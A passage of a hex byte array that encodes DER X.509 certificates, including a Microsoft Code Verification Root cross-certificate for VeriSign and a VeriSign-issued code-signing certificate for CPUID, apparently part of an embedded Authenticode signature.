0x3D, 0x06, 0x03, 0x55, 0x1D, 0x20, 0x04, 0x36, 0x30, 0x34, 0x30, 0x32, 0x06, 0x04, 0x55, 0x1D, 0x20, 0x00, 0x30, 0x2A, 0x30, 0x28, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x1C, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x63, 0x70, 0x73, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x7F, 0xD3, 0x65, 0xA7, 0xC2, 0xDD, 0xEC, 0xBB, 0xF0, 0x30, 0x09, 0xF3, 0x43, 0x39, 0xFA, 0x02, 0xAF, 0x33, 0x31, 0x33, 0x30, 0x6D, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x0C, 0x04, 0x61, 0x30, 0x5F, 0xA1, 0x5D, 0xA0, 0x5B, 0x30, 0x59, 0x30, 0x57, 0x30, 0x55, 0x16, 0x09, 0x69, 0x6D, 0x61, 0x67, 0x65, 0x2F, 0x67,
0x69, 0x66, 0x30, 0x21, 0x30, 0x1F, 0x30, 0x07, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x04, 0x14, 0x8F, 0xE5, 0xD3, 0x1A, 0x86, 0xAC, 0x8D, 0x8E, 0x6B, 0xC3, 0xCF, 0x80, 0x6A, 0xD4, 0x48, 0x18, 0x2C, 0x7B, 0x19, 0x2E, 0x30, 0x25, 0x16, 0x23, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6C, 0x6F, 0x67, 0x6F, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x76, 0x73, 0x6C, 0x6F, 0x67, 0x6F, 0x2E, 0x67, 0x69, 0x66, 0x30, 0x34, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x28, 0x30, 0x26, 0x30, 0x24, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x18, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, 0x70, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63,
0x6F, 0x6D, 0x30, 0x3E, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x37, 0x30, 0x35, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x01, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x02, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x86, 0xF8, 0x42, 0x04, 0x01, 0x06, 0x0A, 0x60, 0x86, 0x48, 0x01, 0x86, 0xF8, 0x45, 0x01, 0x08, 0x01, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x81, 0x81, 0x00, 0x13, 0x02, 0xDD, 0xF8, 0xE8, 0x86, 0x00, 0xF2, 0x5A, 0xF8, 0xF8, 0x20, 0x0C, 0x59, 0x88, 0x62, 0x07, 0xCE, 0xCE, 0xF7, 0x4E, 0xF9, 0xBB, 0x59, 0xA1, 0x98, 0xE5, 0xE1, 0x38, 0xDD, 0x4E, 0xBC, 0x66, 0x18, 0xD3, 0xAD, 0xEB, 0x18, 0xF2, 0x0D, 0xC9, 0x6D, 0x3E,
0x4A, 0x94, 0x20, 0xC3, 0x3C, 0xBA, 0xBD, 0x65, 0x54, 0xC6, 0xAF, 0x44, 0xB3, 0x10, 0xAD, 0x2C, 0x6B, 0x3E, 0xAB, 0xD7, 0x07, 0xB6, 0xB8, 0x81, 0x63, 0xC5, 0xF9, 0x5E, 0x2E, 0xE5, 0x2A, 0x67, 0xCE, 0xCD, 0x33, 0x0C, 0x2A, 0xD7, 0x89, 0x56, 0x03, 0x23, 0x1F, 0xB3, 0xBE, 0xE8, 0x3A, 0x08, 0x59, 0xB4, 0xEC, 0x45, 0x35, 0xF7, 0x8A, 0x5B, 0xFF, 0x66, 0xCF, 0x50, 0xAF, 0xC6, 0x6D, 0x57, 0x8D, 0x19, 0x78, 0xB7, 0xB9, 0xA2, 0xD1, 0x57, 0xEA, 0x1F, 0x9A, 0x4B, 0xAF, 0xBA, 0xC9, 0x8E, 0x12, 0x7E, 0xC6, 0xBD, 0xFF, 0x30, 0x82, 0x05, 0x03, 0x30, 0x82, 0x02, 0xEB, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x0A, 0x61, 0x0C, 0x12, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x7F, 0x31,
0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x52, 0x6F, 0x6F, 0x74, 0x30, 0x1E,
0x17, 0x0D, 0x30, 0x36, 0x30, 0x35, 0x32, 0x33, 0x31, 0x37, 0x30, 0x31, 0x32, 0x39, 0x5A, 0x17, 0x0D, 0x31, 0x36, 0x30, 0x35, 0x32, 0x33, 0x31, 0x37, 0x31, 0x31, 0x32, 0x39, 0x5A, 0x30, 0x5F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x37, 0x30, 0x35, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x2E, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, 0x30,
0x81, 0x9F, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x81, 0x8D, 0x00, 0x30, 0x81, 0x89, 0x02, 0x81, 0x81, 0x00, 0xC9, 0x5C, 0x59, 0x9E, 0xF2, 0x1B, 0x8A, 0x01, 0x14, 0xB4, 0x10, 0xDF, 0x04, 0x40, 0xDB, 0xE3, 0x57, 0xAF, 0x6A, 0x45, 0x40, 0x8F, 0x84, 0x0C, 0x0B, 0xD1, 0x33, 0xD9, 0xD9, 0x11, 0xCF, 0xEE, 0x02, 0x58, 0x1F, 0x25, 0xF7, 0x2A, 0xA8, 0x44, 0x05, 0xAA, 0xEC, 0x03, 0x1F, 0x78, 0x7F, 0x9E, 0x93, 0xB9, 0x9A, 0x00, 0xAA, 0x23, 0x7D, 0xD6, 0xAC, 0x85, 0xA2, 0x63, 0x45, 0xC7, 0x72, 0x27, 0xCC, 0xF4, 0x4C, 0xC6, 0x75, 0x71, 0xD2, 0x39, 0xEF, 0x4F, 0x42, 0xF0, 0x75, 0xDF, 0x0A, 0x90, 0xC6, 0x8E, 0x20, 0x6F, 0x98, 0x0F, 0xF8, 0xAC, 0x23, 0x5F, 0x70, 0x29, 0x36, 0xA4, 0xC9, 0x86, 0xE7, 0xB1, 0x9A, 0x20,
0xCB, 0x53, 0xA5, 0x85, 0xE7, 0x3D, 0xBE, 0x7D, 0x9A, 0xFE, 0x24, 0x45, 0x33, 0xDC, 0x76, 0x15, 0xED, 0x0F, 0xA2, 0x71, 0x64, 0x4C, 0x65, 0x2E, 0x81, 0x68, 0x45, 0xA7, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0x23, 0x30, 0x82, 0x01, 0x1F, 0x30, 0x11, 0x06, 0x03, 0x55, 0x1D, 0x20, 0x04, 0x0A, 0x30, 0x08, 0x30, 0x06, 0x06, 0x04, 0x55, 0x1D, 0x20, 0x00, 0x30, 0x36, 0x06, 0x09, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, 0x07, 0x04, 0x29, 0x30, 0x27, 0x06, 0x1F, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, 0x08, 0x8D, 0xE0, 0xD1, 0x89, 0x4E, 0x84, 0xD7, 0x9C, 0xC3, 0x07, 0x86, 0xA6, 0x86, 0xFB, 0x1C, 0x8F, 0xD3, 0xBF, 0xA6, 0x15, 0x01, 0x19, 0x02, 0x01, 0x6E, 0x02, 0x01, 0x00, 0x30, 0x0B, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x04, 0x04, 0x03, 0x02, 0x01,
0x86, 0x30, 0x0F, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0xE2, 0x7F, 0x7B, 0xD8, 0x77, 0xD5, 0xDF, 0x9E, 0x0A, 0x3F, 0x9E, 0xB4, 0xCB, 0x0E, 0x2E, 0xA9, 0xEF, 0xDB, 0x69, 0x77, 0x30, 0x1D, 0x06, 0x09, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x14, 0x02, 0x04, 0x10, 0x1E, 0x0E, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x73, 0x00, 0x43, 0x00, 0x41, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x62, 0xFB, 0x0A, 0x21, 0x5B, 0x7F, 0x43, 0x6E, 0x11, 0xDA, 0x09, 0x54, 0x50, 0x6B, 0xF5, 0xD2, 0x96, 0x71, 0xF1, 0x9E, 0x30, 0x55, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x4E, 0x30, 0x4C, 0x30, 0x4A, 0xA0, 0x48,
0xA0, 0x46, 0x86, 0x44, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x72, 0x6C, 0x2F, 0x70, 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x43, 0x6F, 0x64, 0x65, 0x56, 0x65, 0x72, 0x69, 0x66, 0x52, 0x6F, 0x6F, 0x74, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, 0x00, 0x01, 0xE4, 0x46, 0xB3, 0x3B, 0x45, 0x7F, 0x75, 0x13, 0x87, 0x7E, 0x5F, 0x43, 0xDE, 0x46, 0x8E, 0xCB, 0x8A, 0xBD, 0xB6, 0x47, 0x41, 0xBC, 0xCC, 0xCC, 0x74, 0x91, 0xD8, 0xCE, 0x39, 0x51, 0x95, 0xA4, 0xA6, 0xB5, 0x47,
0xC0, 0xEF, 0xD2, 0xDA, 0x7B, 0x8F, 0x57, 0x11, 0xF4, 0x32, 0x8C, 0x7C, 0xCD, 0x3F, 0xEE, 0x42, 0xDA, 0x04, 0x21, 0x4A, 0xF7, 0xC8, 0x43, 0x88, 0x4A, 0x6F, 0x5C, 0xCA, 0x14, 0xFC, 0x4B, 0xD1, 0x9F, 0x4C, 0xBD, 0xD4, 0x55, 0x6E, 0xCC, 0x02, 0xBE, 0x0D, 0xA6, 0x88, 0x8F, 0x86, 0x09, 0xBA, 0xA4, 0x25, 0xBD, 0xE8, 0xB0, 0xF0, 0xFA, 0x8B, 0x71, 0x4E, 0x67, 0xB0, 0xCB, 0x82, 0xA8, 0xD7, 0x8E, 0x55, 0xF7, 0x37, 0xEB, 0xF0, 0x3E, 0x88, 0xEF, 0xE4, 0xE0, 0x8A, 0xFD, 0x1C, 0x6E, 0x2E, 0x61, 0x41, 0x48, 0x75, 0xB4, 0xB0, 0x2C, 0x1D, 0x28, 0xD8, 0x49, 0x0F, 0xD7, 0x15, 0xF0, 0x24, 0x73, 0x25, 0x3C, 0xCC, 0x88, 0x0C, 0xDE, 0x28, 0x4C, 0x65, 0x54, 0xFE, 0x5E, 0xAE, 0x8C, 0xEA, 0x19, 0xAD, 0x2C, 0x51, 0xB2, 0x9B, 0x3A, 0x47, 0xF5, 0x3C, 0x80, 0x35, 0x01, 0x17, 0xE2, 0x49,
0x87, 0xD6, 0x54, 0x4A, 0xFB, 0x4B, 0xAB, 0x07, 0xBC, 0xBF, 0x7D, 0x79, 0xCF, 0xBF, 0x35, 0x00, 0x5C, 0xBB, 0x9E, 0xCF, 0xFC, 0x82, 0x89, 0x1B, 0x39, 0xA0, 0x51, 0x97, 0xB6, 0xDE, 0xC0, 0xB3, 0x07, 0xFF, 0x44, 0x96, 0x44, 0xC0, 0x34, 0x2A, 0x19, 0x5C, 0xAB, 0xEE, 0xF0, 0x3B, 0xEC, 0x29, 0x4E, 0xB5, 0x13, 0xC5, 0x37, 0x85, 0x7E, 0x75, 0xD5, 0xB4, 0xD6, 0x0D, 0x06, 0x6E, 0xB5, 0xD2, 0x6C, 0x23, 0x71, 0x67, 0xEA, 0xF1, 0x71, 0x8E, 0xAF, 0x4E, 0x74, 0xAA, 0x0C, 0xF9, 0xEC, 0xBF, 0x4C, 0x58, 0xFA, 0x5E, 0x90, 0x9B, 0x6D, 0x39, 0xCB, 0x86, 0x88, 0x3F, 0x8B, 0x1C, 0xA8, 0x16, 0x32, 0xD5, 0xFE, 0x6D, 0xB9, 0xF1, 0xF8, 0xB3, 0xEA, 0xD7, 0x91, 0xF6, 0x36, 0x47, 0x78, 0xC0, 0x27, 0x2A, 0x15, 0xC7, 0x68, 0xD6, 0xF4, 0xC5, 0xFC, 0x4F, 0x4E, 0xC8, 0x67, 0x3F, 0x10, 0x2D,
0x40, 0x9F, 0xF1, 0x1E, 0xC9, 0x61, 0x48, 0xE7, 0xA7, 0x03, 0xFC, 0x31, 0x73, 0x0C, 0xF0, 0x46, 0x88, 0xFE, 0x56, 0xDA, 0x49, 0x29, 0x95, 0xEF, 0x09, 0xDA, 0xA3, 0xE5, 0xBE, 0xEF, 0x60, 0xEC, 0xD9, 0x54, 0xA0, 0x59, 0x9C, 0x28, 0xBD, 0x54, 0xEF, 0x66, 0x15, 0x7F, 0x87, 0x4C, 0x84, 0xDB, 0xA6, 0x0E, 0x95, 0x67, 0x2E, 0x51, 0x7B, 0x34, 0x39, 0xB6, 0x41, 0xC2, 0x8C, 0x84, 0x68, 0x26, 0xDC, 0x24, 0x02, 0x09, 0xE7, 0x81, 0x8E, 0x0A, 0x97, 0x2D, 0xEF, 0xEE, 0xA7, 0xB9, 0x98, 0xA6, 0x0F, 0x81, 0x8D, 0xC7, 0x10, 0xB5, 0xE1, 0xED, 0x98, 0x2F, 0x48, 0x6F, 0x53, 0x85, 0x49, 0x64, 0x78, 0x9B, 0xEC, 0x5D, 0xAC, 0x97, 0x0B, 0x55, 0x26, 0xC3, 0xEF, 0xBA, 0x8D, 0xC8, 0xD1, 0xA5, 0x2F, 0x5A, 0x7F, 0x93, 0x6B, 0x61, 0x1A, 0x33, 0x9B, 0x18, 0xB8, 0xA2, 0x62, 0x10, 0xDE, 0x24,
0xEA, 0x76, 0xE1, 0x2F, 0x43, 0xEB, 0xEC, 0xDD, 0x7C, 0x12, 0x34, 0x24, 0x89, 0xDA, 0x28, 0x55, 0xAE, 0xE5, 0x75, 0x4E, 0x31, 0x2B, 0x67, 0x63, 0xB6, 0xA8, 0xD7, 0xAB, 0x73, 0x0A, 0x03, 0xCE, 0xC5, 0xEA, 0x59, 0x3F, 0xC7, 0xEB, 0x2A, 0x45, 0xAE, 0xA8, 0x62, 0x5B, 0x2F, 0x00, 0x99, 0x39, 0xAB, 0xB4, 0x5F, 0x73, 0xC3, 0x08, 0xEC, 0x80, 0x11, 0x8F, 0x47, 0x0E, 0x8F, 0x2A, 0x13, 0x43, 0xE1, 0x91, 0x06, 0x62, 0x55, 0xBB, 0xFF, 0xBA, 0x3D, 0xA9, 0xA9, 0x3D, 0x26, 0x0F, 0xAE, 0xCA, 0x7D, 0x62, 0x8B, 0x15, 0x55, 0x89, 0xD6, 0x94, 0x34, 0x4D, 0xD6, 0x65, 0x30, 0x82, 0x05, 0x1E, 0x30, 0x82, 0x04, 0x06, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x2D, 0x80, 0x21, 0xD8, 0x4F, 0x09, 0x8E, 0x7A, 0xBD, 0xE1, 0x99, 0xF8, 0x18, 0xE2, 0x11, 0xA4, 0x30, 0x0D, 0x06, 0x09, 0x2A,
0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x81, 0xB4, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3B, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x32, 0x54, 0x65, 0x72, 0x6D, 0x73, 0x20, 0x6F, 0x66, 0x20, 0x75, 0x73, 0x65, 0x20, 0x61, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73,
0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, 0x20, 0x28, 0x63, 0x29, 0x31, 0x30, 0x31, 0x2E, 0x30, 0x2C, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x25, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x32, 0x30, 0x31, 0x30, 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x34, 0x31, 0x32, 0x30, 0x32, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x31, 0x38, 0x30, 0x33, 0x30, 0x32, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, 0x50, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x46, 0x52, 0x31, 0x0D, 0x30, 0x0B, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x04, 0x4E, 0x4F, 0x52, 0x44, 0x31,
0x12, 0x30, 0x10, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x09, 0x44, 0x55, 0x4E, 0x4B, 0x45, 0x52, 0x51, 0x55, 0x45, 0x31, 0x0E, 0x30, 0x0C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x14, 0x05, 0x43, 0x50, 0x55, 0x49, 0x44, 0x31, 0x0E, 0x30, 0x0C, 0x06, 0x03, 0x55, 0x04, 0x03, 0x14, 0x05, 0x43, 0x50, 0x55, 0x49, 0x44, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0x88, 0x76, 0xE0, 0x9D, 0x91, 0xFB, 0xC8, 0xFE, 0xE5, 0x77, 0x13, 0xF4, 0xF0, 0xBB, 0x90, 0x6B, 0x31, 0xE1, 0xCF, 0xF2, 0x27, 0x67, 0xDA, 0x6B, 0x1E, 0x26, 0xC8, 0xDA, 0x3A, 0xB3, 0x83, 0x1A, 0xC0, 0x40, 0xDF, 0x48, 0x1A, 0x1A, 0xA9, 0x31, 0x89, 0xD3, 0x18, 0x94,
0x6A, 0x17, 0xF2, 0xCE, 0xDD, 0x55, 0xE3, 0xB0, 0xAD, 0x05, 0xC7, 0x3D, 0x22, 0xA0, 0xA5, 0xE8, 0x01, 0x54, 0xB4, 0xD8, 0x8D, 0x9C, 0x33, 0x00, 0xE4, 0x0C, 0x01, 0x4B, 0xF5, 0xE7, 0x9E, 0x17, 0x8A, 0xAD, 0xE0, 0xA5, 0x22, 0x02, 0x9D, 0xDF, 0xED, 0xDD, 0x4C, 0x75, 0xF0, 0x14, 0x02, 0x22, 0xB8, 0x39, 0x17, 0xBF, 0xDE, 0x7B, 0x39, 0x68, 0x04, 0x66, 0x85, 0x93, 0xD5, 0xF1, 0x43, 0x49, 0x76, 0x0A, 0x3A, 0xA5, 0xA3, 0xEB, 0x1E, 0xFE, 0x15, 0xF5, 0x90, 0x75, 0xA5, 0x6D, 0xBF, 0x18, 0x28, 0x96, 0x50, 0x17, 0x29, 0xE8, 0x53, 0x6A, 0x73, 0x4A, 0x72, 0x47, 0xAC, 0x30, 0x98, 0xB7, 0xA7, 0x3B, 0xFA, 0xE5, 0xEF, 0xCA, 0x75, 0x67, 0xA3, 0xD2, 0x26, 0xD5, 0xE7, 0x30, 0xB3, 0x0D, 0x59, 0xFB, 0x58, 0x75, 0x45, 0xEE, 0xB6, 0xB2, 0x73, 0xD7, 0xA6, 0xD9, 0x8D, 0x48, 0xD4, 0xFF,
0xDC, 0x53, 0x27, 0x20, 0x18, 0x93, 0xAD, 0x13, 0x83, 0xB9, 0x85, 0x69, 0xEB, 0xF4, 0x67, 0xFC, 0x46, 0x57, 0x56, 0xF7, 0x7D, 0xB4, 0x04, 0x27, 0x9B, 0x59, 0x57, 0x63, 0x38, 0x3E, 0xAA, 0xAE, 0xF0, 0x83, 0x15, 0x41, 0xBD, 0x66, 0xA6, 0xBE, 0xBA, 0x3A, 0xA2, 0x1B, 0x1F, 0x0E, 0x3E, 0xD2, 0x5F, 0x07, 0x95, 0xBD, 0x8B, 0x08, 0x98, 0x52, 0x08, 0x73, 0x32, 0xC3, 0x55, 0x2C, 0x6D, 0xD9, 0xF7, 0xE9, 0x30, 0xCD, 0x01, 0xA5, 0x0F, 0x3F, 0x8D, 0xB3, 0x8E, 0x5C, 0xE2, 0x68, 0xB6, 0x32, 0x90, 0x00, 0x49, 0xF3, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0x8D, 0x30, 0x82, 0x01, 0x89, 0x30, 0x09, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x04, 0x02, 0x30, 0x00, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x07, 0x80, 0x30, 0x2B, 0x06, 0x03,
0x55, 0x1D, 0x1F, 0x04, 0x24, 0x30, 0x22, 0x30, 0x20, 0xA0, 0x1E, 0xA0, 0x1C, 0x86, 0x1A, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x66, 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x73, 0x66, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x66, 0x06, 0x03, 0x55, 0x1D, 0x20, 0x04, 0x5F, 0x30, 0x5D, 0x30, 0x5B, 0x06, 0x0B, 0x60, 0x86, 0x48, 0x01, 0x86, 0xF8, 0x45, 0x01, 0x07, 0x17, 0x03, 0x30, 0x4C, 0x30, 0x23, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x17, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x64, 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x63, 0x70, 0x73, 0x30, 0x25, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x02, 0x30, 0x19, 0x0C, 0x17, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A,
0x2F, 0x2F, 0x64, 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, 0x30, 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x57, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x4B, 0x30, 0x49, 0x30, 0x1F, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x13, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x66, 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x64, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x26, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x1A, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x66, 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x73, 0x66, 0x2E, 0x63, 0x72, 0x74, 0x30,
0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0xCF, 0x99, 0xA9, 0xEA, 0x7B, 0x26, 0xF4, 0x4B, 0xC9, 0x8E, 0x8F, 0xD7, 0xF0, 0x05, 0x26, 0xEF, 0xE3, 0xD2, 0xA7, 0x9D, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0xDF, 0x57, 0x8B, 0x2B, 0x2C, 0xD1, 0x68, 0x64, 0xF9, 0x02, 0x65, 0x10, 0x3D, 0xD8, 0xF9, 0xCF, 0xF0, 0x2E, 0x4E, 0x4B, 0x30, 0x11, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x86, 0xF8, 0x42, 0x01, 0x01, 0x04, 0x04, 0x03, 0x02, 0x04, 0x10, 0x30, 0x16, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 